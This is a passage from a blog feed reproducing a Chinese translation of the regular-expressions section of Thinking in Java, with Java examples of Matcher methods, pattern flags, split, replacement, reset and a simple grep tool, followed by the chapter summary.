      <FONT color=#004488>"[mome][raths outgrabe.][raths][outgrabe.]"</FONT>,
      <FONT color=#004488>"[Jabberwock, my son,]"</FONT> +
      <FONT color=#004488>"[Jabberwock,][my son,][my][son,]"</FONT>,
      <FONT color=#004488>"[claws that catch.]"</FONT> +
      <FONT color=#004488>"[claws][that catch.][that][catch.]"</FONT>,
      <FONT color=#004488>"[bird, and shun][bird,][and shun][and][shun]"</FONT>,
      <FONT color=#004488>"[The frumious Bandersnatch.][The]"</FONT> +
      <FONT color=#004488>"[frumious Bandersnatch.][frumious][Bandersnatch.]"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>这首诗是<SPAN class=original_words><CITE>Through the Looking Glass</CITE></SPAN>的，Lewis Carroll的"Jabberwocky"的第一部分。可以看到这个正则表达式里有很多用括号括起来的group，它是由任意多个连续的非空字符('<SPAN class=original_words>\S+</SPAN>')和任意多个连续的空格字符('<SPAN class=original_words>\s+</SPAN>')所组成的，其最终目的是要捕获每行的最后三个单词；'<SPAN class=original_words>$</SPAN>'表示一行的结尾。但是'<SPAN class=original_words>$</SPAN>'通常表示整个字符串的结尾，所以这里要明确地告诉正则表达式注意换行符。这一点是由'<SPAN class=original_words>(?m)</SPAN>'标志完成的(模式标志会过一会讲解)。</P>
<H4 id=header62>start( )和end( )</H4>
<P>如果匹配成功，<SPAN class=original_words>start( )</SPAN>会返回此次匹配的开始位置，<SPAN class=original_words>end( )</SPAN>会返回此次匹配的结束位置，即最后一个字符的下标加一。如果之前的匹配不成功(或者没匹配)，那么无论是调用<SPAN class=original_words>start( )</SPAN>还是<SPAN class=original_words>end( )</SPAN>，都会引发一个<SPAN class=original_words>IllegalStateException</SPAN>。下面这段程序还演示了<SPAN class=original_words>matches( )</SPAN>和<SPAN class=original_words>lookingAt( )</SPAN>：</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:StartEnd.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> StartEnd {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    String[] input = <FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"Java has regular expressions in 1.4"</FONT>,
      <FONT color=#004488>"regular expressions now expressing in Java"</FONT>,
      <FONT color=#004488>"Java represses oracular expressions"</FONT>
    };
    Pattern
      p1 = Pattern.compile(<FONT color=#004488>"re\\w*"</FONT>),
      p2 = Pattern.compile(<FONT color=#004488>"Java.*"</FONT>);
    <FONT color=#0000ff>for</FONT>(<FONT color=#0000ff>int</FONT> i = 0; i &lt; input.length; i++) {
      System.out.println(<FONT color=#004488>"input "</FONT> + i + <FONT color=#004488>": "</FONT> + input[i]);
      Matcher
        m1 = p1.matcher(input[i]),
        m2 = p2.matcher(input[i]);
      <FONT color=#0000ff>while</FONT>(m1.find())
        System.out.println(<FONT color=#004488>"m1.find() '"</FONT> + m1.group() +
          <FONT color=#004488>"' start = "</FONT>+ m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end());
      <FONT color=#0000ff>while</FONT>(m2.find())
        System.out.println(<FONT color=#004488>"m2.find() '"</FONT> + m2.group() +
          <FONT color=#004488>"' start = "</FONT>+ m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end());
      <FONT color=#0000ff>if</FONT>(m1.lookingAt()) <FONT color=#009900>// No reset() necessary</FONT>
        System.out.println(<FONT color=#004488>"m1.lookingAt() start = "</FONT>
          + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end());
      <FONT color=#0000ff>if</FONT>(m2.lookingAt())
        System.out.println(<FONT color=#004488>"m2.lookingAt() start = "</FONT>
          + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end());
      <FONT color=#0000ff>if</FONT>(m1.matches()) <FONT color=#009900>// No reset() necessary</FONT>
        System.out.println(<FONT color=#004488>"m1.matches() start = "</FONT>
          + m1.start() + <FONT color=#004488>" end = "</FONT> + m1.end());
      <FONT color=#0000ff>if</FONT>(m2.matches())
        System.out.println(<FONT color=#004488>"m2.matches() start = "</FONT>
          + m2.start() + <FONT color=#004488>" end = "</FONT> + m2.end());
    }
    monitor.expect(<FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"input 0: Java has regular expressions in 1.4"</FONT>,
      <FONT color=#004488>"m1.find() 'regular' start = 9 end = 16"</FONT>,
      <FONT color=#004488>"m1.find() 'ressions' start = 20 end = 28"</FONT>,
      <FONT color=#004488>"m2.find() 'Java has regular expressions in 1.4'"</FONT> +
      <FONT color=#004488>" start = 0 end = 35"</FONT>,
      <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>,
      <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT>,
      <FONT color=#004488>"input 1: regular expressions now "</FONT> +
      <FONT color=#004488>"expressing in Java"</FONT>,
      <FONT color=#004488>"m1.find() 'regular' start = 0 end = 7"</FONT>,
      <FONT color=#004488>"m1.find() 'ressions' start = 11 end = 19"</FONT>,
      <FONT color=#004488>"m1.find() 'ressing' start = 27 end = 34"</FONT>,
      <FONT color=#004488>"m2.find() 'Java' start = 38 end = 42"</FONT>,
      <FONT color=#004488>"m1.lookingAt() start = 0 end = 7"</FONT>,
      <FONT color=#004488>"input 2: Java represses oracular expressions"</FONT>,
      <FONT color=#004488>"m1.find() 'represses' start = 5 end = 14"</FONT>,
      <FONT color=#004488>"m1.find() 'ressions' start = 27 end = 35"</FONT>,
      <FONT color=#004488>"m2.find() 'Java represses oracular expressions' "</FONT> +
      <FONT color=#004488>"start = 0 end = 35"</FONT>,
      <FONT color=#004488>"m2.lookingAt() start = 0 end = 35"</FONT>,
      <FONT color=#004488>"m2.matches() start = 0 end = 35"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>注意，只要字符串里有这个模式，<SPAN class=original_words>find( )</SPAN>就能把它给找出来，但是<SPAN class=original_words>lookingAt( )</SPAN>和<SPAN class=original_words>matches( )</SPAN>，只有在字符串与正则表达式一开始就相匹配的情况下才能返回<SPAN class=original_words>true</SPAN>。<SPAN class=original_words>matches( )</SPAN>成功的前提是正则表达式与字符串完全匹配，而<SPAN class=original_words>lookingAt( )</SPAN><A id=ref67 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment67"><SUP>[67]</SUP></A>成功的前提是，字符串的开始部分与正则表达式相匹配。</P>
<H4 id=header63>匹配的模式(Pattern flags)</H4>
<P><SPAN class=original_words>compile( )</SPAN>方法还有一个版本，它需要一个控制正则表达式的匹配行为的参数：</P>
<BLOCKQUOTE><PRE>Pattern Pattern.compile(String regex, <FONT color=#0000ff>int</FONT> flag)</PRE></BLOCKQUOTE><SPAN class=original_words>flag</SPAN>的取值范围如下： 
<TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2>
<TBODY>
<TR>
<TH><SPAN class=original_words>编译标志</SPAN> </TH>
<TH><SPAN class=original_words>效果</SPAN> </TH></TR>
<TR>
<TD><SPAN class=original_words>Pattern.CANON_EQ</SPAN> </TD>
<TD>当且仅当两个字符的"正规分解(canonical decomposition)"都完全相同的情况下，才认定匹配。比如用了这个标志之后，表达式"a\u030A"会匹配"?"。默认情况下，不考虑"规范相等性(canonical equivalence)"。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.CASE_INSENSITIVE<BR>(?i)</SPAN> </TD>
<TD>默认情况下，大小写不明感的匹配只适用于US-ASCII字符集。这个标志能让表达式忽略大小写进行匹配。要想对Unicode字符进行大小不明感的匹配，只要将<SPAN class=original_words>UNICODE_CASE</SPAN>与这个标志合起来就行了。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.COMMENTS<BR>(?x)</SPAN> </TD>
<TD>在这种模式下，匹配时会忽略(正则表达式里的)空格字符(译者注：不是指表达式里的"\\s"，而是指表达式里的空格，tab，回车之类)。注释从#开始，一直到这行结束。可以通过嵌入式的标志来启用Unix行模式。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.DOTALL<BR>(?s)</SPAN> </TD>
<TD>在这种模式下，表达式'.'可以匹配任意字符，包括表示一行的结束符。默认情况下，表达式'.'不匹配行的结束符。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.MULTILINE<BR>(?m)</SPAN> </TD>
<TD>在这种模式下，'^'和'$'分别匹配一行的开始和结束。此外，'^'仍然匹配字符串的开始，'$'也匹配字符串的结束。默认情况下，这两个表达式仅仅匹配字符串的开始和结束。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.UNICODE_CASE<BR>(?u)</SPAN> </TD>
<TD>在这个模式下，如果你还启用了<SPAN class=original_words>CASE_INSENSITIVE</SPAN>标志，那么它会对Unicode字符进行大小写不明感的匹配。默认情况下，大小写不明感的匹配只适用于US-ASCII字符集。 </TD></TR>
<TR>
<TD><SPAN class=original_words>Pattern.UNIX_LINES<BR>(?d)</SPAN> </TD>
<TD>在这个模式下，只有'\n'才被认作一行的中止，并且与'.'，'^'，以及'$'进行匹配。 </TD></TR></TBODY></TABLE>
<P>在这些标志里面，<SPAN class=original_words>Pattern.CASE_INSENSITIVE</SPAN>，<SPAN class=original_words>Pattern.MULTILINE</SPAN>，以及<SPAN class=original_words>Pattern.COMMENTS</SPAN>是最有用的(其中<SPAN class=original_words>Pattern.COMMENTS</SPAN>还能帮我们把思路理清楚，并且/或者做文档)。注意，你可以用在表达式里插记号的方式来启用绝大多数的模式。这些记号就在上面那张表的各个标志的下面。你希望模式从哪里开始启动，就在哪里插记号。</P>
<P>可以用"OR" ('|')运算符把这些标志合使用：</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:ReFlags.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReFlags {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    Pattern p =  Pattern.compile(<FONT color=#004488>"^java"</FONT>,
      Pattern.CASE_INSENSITIVE | Pattern.MULTILINE);
    Matcher m = p.matcher(
      <FONT color=#004488>"java has regex\nJava has regex\n"</FONT> +
      <FONT color=#004488>"JAVA has pretty good regular expressions\n"</FONT> +
      <FONT color=#004488>"Regular expressions are in Java"</FONT>);
    <FONT color=#0000ff>while</FONT>(m.find())
      System.out.println(m.group());
    monitor.expect(<FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"java"</FONT>,
      <FONT color=#004488>"Java"</FONT>,
      <FONT color=#004488>"JAVA"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>这样创建出来的正则表达式就能匹配以"java"，"Java"，"JAVA"...开头的字符串了。此外，如果字符串分好几行，那它还会对每一行做匹配(匹配始于字符序列的开始，终于字符序列当中的行结束符)。注意，<SPAN class=original_words>group( )</SPAN>方法仅返回匹配的部分。</P>
<H3 id=header64>split( )</H3>
<P>所谓分割是指将以正则表达式为界，将字符串分割成<SPAN class=original_words>String</SPAN>数组。</P>
<BLOCKQUOTE><PRE>String[] split(CharSequence charseq)
String[] split(CharSequence charseq, <FONT color=#0000ff>int</FONT> limit)</PRE></BLOCKQUOTE>
<P>这是一种既快又方便地将文本根据一些常见的边界标志分割开来的方法。</P>
<TABLE class=code>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:SplitDemo.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>import</FONT> java.util.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> SplitDemo {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    String input =
      <FONT color=#004488>"This!!unusual use!!of exclamation!!points"</FONT>;
    System.out.println(Arrays.asList(
      Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input)));
    <FONT color=#009900>// Only do the first three:</FONT>
    System.out.println(Arrays.asList(
      Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input, 3)));
    System.out.println(Arrays.asList(
      <FONT color=#004488>"Aha! String has a split() built in!"</FONT>.split(<FONT color=#004488>" "</FONT>)));
    monitor.expect(<FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"[This, unusual use, of exclamation, points]"</FONT>,
      <FONT color=#004488>"[This, unusual use, of exclamation!!points]"</FONT>,
      <FONT color=#004488>"[Aha!, String, has, a, split(), built, in!]"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>第二个<SPAN class=original_words>split( )</SPAN>会限定分割的次数。</P>
<P>正则表达式是如此重要，以至于有些功能被加进了<SPAN class=original_words>String</SPAN>类，其中包括<SPAN class=original_words>split( )</SPAN>(已经看到了)，<SPAN class=original_words>matches( )</SPAN>，<SPAN class=original_words>replaceFirst( )</SPAN>以及<SPAN class=original_words>replaceAll( )</SPAN>。这些方法的功能同<SPAN class=original_words>Pattern</SPAN>和<SPAN class=original_words>Matcher</SPAN>的相同。 </P>
<H3 id=header65>替换操作</H3>
<P>正则表达式在替换文本方面特别在行。下面就是一些方法：</P>
<P><SPAN class=original_words>replaceFirst(String replacement)</SPAN>将字符串里，第一个与模式相匹配的子串替换成<SPAN class=original_words>replacement</SPAN>。 </P>
<P><SPAN class=original_words>replaceAll(String replacement)</SPAN>，将输入字符串里所有与模式相匹配的子串全部替换成<SPAN class=original_words>replacement</SPAN>。</P>
<P><SPAN class=original_words>appendReplacement(StringBuffer sbuf, String replacement)</SPAN>对<SPAN class=original_words>sbuf</SPAN>进行逐次替换，而不是像<SPAN class=original_words>replaceFirst( )</SPAN>或<SPAN class=original_words>replaceAll( )</SPAN>那样，只替换第一个或全部子串。这是个非常重要的方法，因为它可以调用方法来生成<SPAN class=original_words>replacement</SPAN>(<SPAN class=original_words>replaceFirst( )</SPAN>和<SPAN class=original_words>replaceAll( )</SPAN>只允许用固定的字符串来充当<SPAN class=original_words>replacement</SPAN>)。有了这个方法，你就可以编程区分group，从而实现更强大的替换功能。</P>
<P>调用完<SPAN class=original_words>appendReplacement( )</SPAN>之后，为了把剩余的字符串拷贝回去，必须调用<SPAN class=original_words>appendTail(StringBuffer sbuf, String replacement)</SPAN>。 </P>
<P>下面我们来演示一下怎样使用这些替换方法。说明一下，这段程序所处理的字符串是它自己开头部分的注释，是用正则表达式提取出来并加以处理之后再传给替换方法的。</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:TheReplacements.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> java.io.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.util.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#009900>/*! Here's a block of text to use as input to
    the regular expression matcher. Note that we'll
    first extract the block of text by looking for
    the special delimiters, then process the
    extracted block. !*/</FONT>
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TheReplacements {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception {
    String s = TextFile.read(<FONT color=#004488>"TheReplacements.java"</FONT>);
    <FONT color=#009900>// Match the specially-commented block of text above:</FONT>
    Matcher mInput =
      Pattern.compile(<FONT color=#004488>"</FONT><FONT color=#004488>/\\*!(.*)!\\*</FONT><FONT color=#004488>/"</FONT>, Pattern.DOTALL)
        .matcher(s);
    <FONT color=#0000ff>if</FONT>(mInput.find())
      s = mInput.group(1); <FONT color=#009900>// Captured by parentheses</FONT>
    <FONT color=#009900>// Replace two or more spaces with a single space:</FONT>
    s = s.replaceAll(<FONT color=#004488>" {2,}"</FONT>, <FONT color=#004488>" "</FONT>);
    <FONT color=#009900>// Replace one or more spaces at the beginning of each</FONT>
    <FONT color=#009900>// line with no spaces. Must enable MULTILINE mode:</FONT>
    s = s.replaceAll(<FONT color=#004488>"(?m)^ +"</FONT>, <FONT color=#004488>""</FONT>);
    System.out.println(s);
    s = s.replaceFirst(<FONT color=#004488>"[aeiou]"</FONT>, <FONT color=#004488>"(VOWEL1)"</FONT>);
    StringBuffer sbuf = <FONT color=#0000ff>new</FONT> StringBuffer();
    Pattern p = Pattern.compile(<FONT color=#004488>"[aeiou]"</FONT>);
    Matcher m = p.matcher(s);
    <FONT color=#009900>// Process the find information as you</FONT>
    <FONT color=#009900>// perform the replacements:</FONT>
    <FONT color=#0000ff>while</FONT>(m.find())
      m.appendReplacement(sbuf, m.group().toUpperCase());
    <FONT color=#009900>// Put in the remainder of the text:</FONT>
    m.appendTail(sbuf);
    System.out.println(sbuf);
    monitor.expect(<FONT color=#0000ff>new</FONT> String[]{
      <FONT color=#004488>"Here's a block of text to use as input to"</FONT>,
      <FONT color=#004488>"the regular expression matcher. Note that we'll"</FONT>,
      <FONT color=#004488>"first extract the block of text by looking for"</FONT>,
      <FONT color=#004488>"the special delimiters, then process the"</FONT>,
      <FONT color=#004488>"extracted block. "</FONT>,
      <FONT color=#004488>"H(VOWEL1)rE's A blOck Of tExt tO UsE As InpUt tO"</FONT>,
      <FONT color=#004488>"thE rEgUlAr ExprEssIOn mAtchEr. NOtE thAt wE'll"</FONT>,
      <FONT color=#004488>"fIrst ExtrAct thE blOck Of tExt by lOOkIng fOr"</FONT>,
      <FONT color=#004488>"thE spEcIAl dElImItErs, thEn prOcEss thE"</FONT>,
      <FONT color=#004488>"ExtrActEd blOck. "</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>我们用前面介绍的<SPAN class=original_words>TextFile.read( )</SPAN>方法来打开和读取文件。<SPAN class=original_words>mInput</SPAN>的功能是匹配'<SPAN class=original_words>/*!</SPAN>' 和 '<SPAN class=original_words>!*/</SPAN>' 之间的文本(注意一下分组用的括号)。接下来，我们将所有两个以上的连续空格全都替换成一个，并且将各行开头的空格全都去掉(为了让这个正则表达式能对所有的行，而不仅仅是第一行起作用，必须启用多行模式)。这两个操作都用了<SPAN class=original_words>String</SPAN>的<SPAN class=original_words>replaceAll( )</SPAN>(这里用它更方便)。注意，由于每个替换只做一次，因此除了预编译<SPAN class=original_words>Pattern</SPAN>之外，程序没有额外的开销。</P>
<P><SPAN class=original_words>replaceFirst( )</SPAN>只替换第一个子串。此外，<SPAN class=original_words>replaceFirst( )</SPAN>和<SPAN class=original_words>replaceAll( )</SPAN>只能用常量(literal)来替换，所以如果你每次替换的时候还要进行一些操作的话，它们是无能为力的。碰到这种情况，你得用<SPAN class=original_words>appendReplacement( )</SPAN>，它能让你在进行替换的时候想写多少代码就写多少。在上面那段程序里，创建<SPAN class=original_words>sbuf</SPAN>的过程就是选group做处理，也就是用正则表达式把元音字母找出来，然后换成大写的过程。通常你得在完成全部的替换之后才调用<SPAN class=original_words>appendTail( )</SPAN>，但是如果要模仿<SPAN class=original_words>replaceFirst( )</SPAN>(或"replace n")的效果，你也可以只替换一次就调用<SPAN class=original_words>appendTail( )</SPAN>。它会把剩下的东西全都放进<SPAN class=original_words>sbuf</SPAN>。</P>
<P>你还可以在<SPAN class=original_words>appendReplacement( )</SPAN>的<SPAN class=original_words>replacement</SPAN>参数里用"$g"引用已捕获的group，其中'g' 表示group的号码。不过这是为一些比较简单的操作准备的，因而其效果无法与上述程序相比。</P>
<H3 id=header66>reset( )</H3>
<P>此外，还可以用<SPAN class=original_words>reset( )</SPAN>方法给现有的<SPAN class=original_words>Matcher</SPAN>对象配上个新的<SPAN class=original_words>CharSequence</SPAN>。</P>
<TABLE class=code>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:Resetting.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> java.io.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Resetting {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception {
    Matcher m = Pattern.compile(<FONT color=#004488>"[frb][aiu][gx]"</FONT>)
      .matcher(<FONT color=#004488>"fix the rug with bags"</FONT>);
    <FONT color=#0000ff>while</FONT>(m.find())
      System.out.println(m.group());
    m.reset(<FONT color=#004488>"fix the rig with rags"</FONT>);
    <FONT color=#0000ff>while</FONT>(m.find())
      System.out.println(m.group());
    monitor.expect(<FONT color=#0000ff>new</FONT> String[]{
      <FONT color=#004488>"fix"</FONT>,
      <FONT color=#004488>"rug"</FONT>,
      <FONT color=#004488>"bag"</FONT>,
      <FONT color=#004488>"fix"</FONT>,
      <FONT color=#004488>"rig"</FONT>,
      <FONT color=#004488>"rag"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>如果不给参数，<SPAN class=original_words>reset( )</SPAN>会把<SPAN class=original_words>Matcher</SPAN>设到当前字符串的开始处。</P>
<H3 id=header67>正则表达式与Java I/O</H3>
<P>到目前为止，你看到的都是用正则表达式处理静态字符串的例子。下面我们来演示一下怎样用正则表达式扫描文件并且找出匹配的字符串。受Unix的grep启发，我写了个<SPAN class=original_words>JGrep.java</SPAN>，它需要两个参数：文件名，以及匹配字符串用的正则表达式。它会把匹配这个正则表达式那部分内容及其所属行的行号打印出来。</P>
<TABLE class=code>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:JGrep.java</FONT>
<FONT color=#009900>// A very simple version of the "grep" program.</FONT>
<FONT color=#009900>// {Args: JGrep.java "\\b[Ssct]\\w+"}</FONT>
<FONT color=#0000ff>import</FONT> java.io.*;
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> java.util.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.util.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> JGrep {
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception {
    <FONT color=#0000ff>if</FONT>(args.length &lt; 2) {
      System.out.println(<FONT color=#004488>"Usage: java JGrep file regex"</FONT>);
      System.exit(0);
    }
    Pattern p = Pattern.compile(args[1]);
    <FONT color=#009900>// Iterate through the lines of the input file:</FONT>
    ListIterator it = <FONT color=#0000ff>new</FONT> TextFile(args[0]).listIterator();
    <FONT color=#0000ff>while</FONT>(it.hasNext()) {
      Matcher m = p.matcher((String)it.next());
      <FONT color=#0000ff>while</FONT>(m.find())
        System.out.println(it.nextIndex() + <FONT color=#004488>": "</FONT> +
          m.group() + <FONT color=#004488>": "</FONT> + m.start());
    }
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>文件是用<SPAN class=original_words>TextFile</SPAN>打开的(本章的前半部分讲的)。由于<SPAN class=original_words>TextFile</SPAN>会把文件的各行放在<SPAN class=original_words>ArrayList</SPAN>里面，而我们又提取了一个<SPAN class=original_words>ListIterator</SPAN>，因此我们可以在文件的各行当中自由移动(既能向前也可以向后)。 </P>
<P>每行都会有一个<SPAN class=original_words>Matcher</SPAN>，然后用<SPAN class=original_words>find( )</SPAN>扫描。注意，我们用<SPAN class=original_words>ListIterator.nextIndex( )</SPAN>跟踪行号。 </P>
<P>测试参数是<SPAN class=original_words>JGrep.java</SPAN>和以<SPAN class=original_words>[Ssct]</SPAN>开头的单词。</P>
<H3 id=header68>还需要StringTokenizer吗?</H3>
<P>看到正则表达式能提供这么强大的功能，你可能会怀疑，是不是还需要原先的<SPAN class=original_words>StringTokenizer</SPAN>。JDK 1.4以前，要想分割字符串，只有用<SPAN class=original_words>StringTokenizer</SPAN>。但现在，有了正则表达式之后，它就能做得更干净利索了。</P>
<TABLE class=sourcecode>
<TBODY>
<TR>
<TD><PRE><FONT color=#009900>//: c12:ReplacingStringTokenizer.java</FONT>
<FONT color=#0000ff>import</FONT> java.util.regex.*;
<FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*;
<FONT color=#0000ff>import</FONT> java.util.*;
<FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReplacingStringTokenizer {
  <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test();
  <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) {
    String input = <FONT color=#004488>"But I'm not dead yet! I feel happy!"</FONT>;
    StringTokenizer stoke = <FONT color=#0000ff>new</FONT> StringTokenizer(input);
    <FONT color=#0000ff>while</FONT>(stoke.hasMoreElements())
      System.out.println(stoke.nextToken());
    System.out.println(Arrays.asList(input.split(<FONT color=#004488>" "</FONT>)));
    monitor.expect(<FONT color=#0000ff>new</FONT> String[] {
      <FONT color=#004488>"But"</FONT>,
      <FONT color=#004488>"I'm"</FONT>,
      <FONT color=#004488>"not"</FONT>,
      <FONT color=#004488>"dead"</FONT>,
      <FONT color=#004488>"yet!"</FONT>,
      <FONT color=#004488>"I"</FONT>,
      <FONT color=#004488>"feel"</FONT>,
      <FONT color=#004488>"happy!"</FONT>,
      <FONT color=#004488>"[But, I'm, not, dead, yet!, I, feel, happy!]"</FONT>
    });
  }
} <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE>
<P>有了正则表达式，你就能用更复杂的模式将字符串分割开来——要是交给<SPAN class=original_words>StringTokenizer</SPAN>的话，事情会麻烦得多。我可以很有把握地说，正则表达式可以取代<SPAN class=original_words>StringTokenizer</SPAN>。 </P>
<P>要想进一步学习正则表达式，建议你看<CITE><SPAN class=original_words>Mastering Regular Expression, 2nd Edition</SPAN></CITE>，作者Jeffrey E. F. Friedl (O’Reilly, 2002)。</P>
<H2 id=header69>总结</H2>
<P>Java的I/O流类库应该能满足你的基本需求：你可以用它来读写控制台，文件，内存，甚至是Internet。你还可以利用继承来创建新的输入和输出类型。你甚至可以利用Java会自动调用对象的<SPAN class=original_words>toString( )</SPAN>方法的特点(Java仅有的"自动类型转换")，通过重新定义这个方法，来对要传给流的对象做一个简单的扩展。</P>
<P>但是Java的I/O流类库及其文档还是留下了一些缺憾。比方说你打开一个文件往里面写东西，但是这个文件已经有了，这么做会把原先的内容给覆盖了 。这时要是能有一个异常就好了——有些编程语言能让你规定只能往新建的文件里输出。看来Java是要你用<SPAN class=original_words>File</SPAN>对象来判断文件是否存在，因为如果你用<SPAN class=original_words>FileOutputStream</SPAN>或<SPAN class=original_words>FileWriter</SPAN>的话，文件就会被覆盖了。</P>
<P>我对I/O流类库的评价是比较矛盾的；它确实能干很多事情，而且做到了跨平台。但是如果你不懂decorator模式，就会觉得这种设计太难理解了，所以无论是对老师还是学生，都得多花精力。此外这个类库也不完整，否则我也用不着去写<SPAN class=original_words>TextFile</SPAN>了。此外它没有提供格式化输出的功能，而其他语言都已经提供了这种功能。</P>
<P>但是，一旦你真正理解了decorator模式，并且能开始灵活运用这个类库的时候，你就能感受到这种设计的好处了。这时多写几行代码就算不了什么了。 </P>
<P>如果你觉得不解渴(本章只是做个介绍，没想要面面俱到)，可以去看Elliotte Rusty Harold 写的<CITE>Java I/O</CITE> (O’Reilly, 1999)。这本书讲得更深。</P><img src ="http://www.blogjava.net/frankboy/aggbug/25637.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:18 <a href="http://www.blogjava.net/frankboy/archive/2005/12/27/25637.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts+spring+hibernate</title><link>http://www.blogjava.net/frankboy/archive/2005/12/27/25636.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:15:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2005/12/27/25636.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/25636.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2005/12/27/25636.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/25636.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/25636.html</trackback:ping><description><![CDATA[<H2><A id=viewpost1_TitleUrl 